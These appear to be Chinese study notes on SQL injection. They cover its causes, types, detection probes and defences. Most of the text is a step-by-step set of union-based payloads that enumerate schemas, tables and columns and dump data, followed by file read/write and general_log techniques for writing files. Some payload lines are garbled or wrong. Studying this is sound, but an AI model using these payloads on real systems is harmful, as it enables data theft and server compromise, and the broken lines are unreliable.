sql注入是一種將sql語句插入或新增到使用者輸入引數中,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行
(1) 對使用者的輸入的資料,沒有進行過濾,被帶到了資料庫中去執行,造成了sql注入。
(2) 程式編寫者在處理程式與資料庫互動時,使用字串拼接的方式構造sql語句
(1) 按資料型別分
a) 整形注入(不需要閉合,不需要注釋符號)
b) 字元型注入(需要閉合,需要注釋符號)
(2) 按注入語法分a) 聯合查詢注入
b) 報錯注入
c) 布林型注入
d) 延時注入
e) 多語句注入
(1) and 1=1 / and 1=2 回顯頁面不同(整形判斷)
(2) 單引號判斷 『 顯示資料庫錯誤資訊或者頁面回顯不同(整形,字串型別判斷)
(3) \ (轉義符)
(4) -1/+1 回顯下乙個或上乙個頁面(整型判斷)
(5) and sleep(5) (判斷頁面返回時間)
任何客戶端可控,傳遞到伺服器且和資料庫進行互動的變數,都有可能存在sql注入
(1) 對進入資料庫的特殊字元(單引號,雙引號,尖括號等)進行轉換或編碼轉換。
(2) 不要使用動態拼裝sql,可以使用引數化的sql或者直接使用儲存過程進行資料查詢訪問。
(3) 不要使用管理員許可權的資料庫連線,為每個應用使用單獨的許可權有限的資料庫連線。
(4) 應用的異常資訊應該給出盡可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝
聯合查詢可以將兩個或兩個以上的select語句的查詢結果集合合併成乙個結果集合顯示
限制條件:
union必須由兩條或兩條以上的select語句組成
語句之間用關鍵字union分隔
union中的每個查詢必須包含相同的列
(1) 注入型別判斷
整型注入/字元型注入
(2) 確定 select 語句字段數量
order
by(折半找)
(3) 確定資料暴**
union
select1,
2,3,
4....
...
(4) 獲取資料庫名
union
select1,
database()
,3,.
....
(5) 獲取資料庫中表的數量
union
select1,
count(*
),3,
4,..
..from
`information_schema.
tables
`where
`table_schema`
=database()
;`
(6) 獲取資料庫中所有表名
union
select
1,group_concat(
`table_name`),
3,4,
....
from
`information_schema.
tables
`where
`table_name`
=database()
;
(7) 獲取指定表的字段數量
union
select1,
count(*
),3,
4,..
..from
`information_schema.
columns
`where
`table_name`
='users'
`table_schema`
=database()
;
(8) 獲取指定表的欄位名
union
select
1,group_concat(
`column_name`),
3,4,
....
from
`information_schema.
columns
`where
`table_name`
='users'
`table_schema`
=database()
;
(9) 獲取指定表的資料
union
select
1,group_concat(concat(欄位名, 欄位名,..
.)),
3,4,
...from表名
(1)讀檔案my.ini 配置 privileges
secure_file_priv=
select load_file('檔名');
注:如果檔名被過濾可以通過轉換為十六進製制繞過
(2)寫檔案
select 1 into outfile '檔名;(不支援二進位制)
select 1 into dumpfile '檔名;(支援二進位制)
注:如果檔名被過濾不可以通過轉換為十六進製制繞過
(3)寫日誌
select @@general_log; 查詢日誌狀態
set global general_log = on; 設定日誌記錄為開啟
set global geenral_log_file = '檔名' 設定日誌檔案路徑
sql_lab
sql注入(筆記)
一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...
sql注入筆記
sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...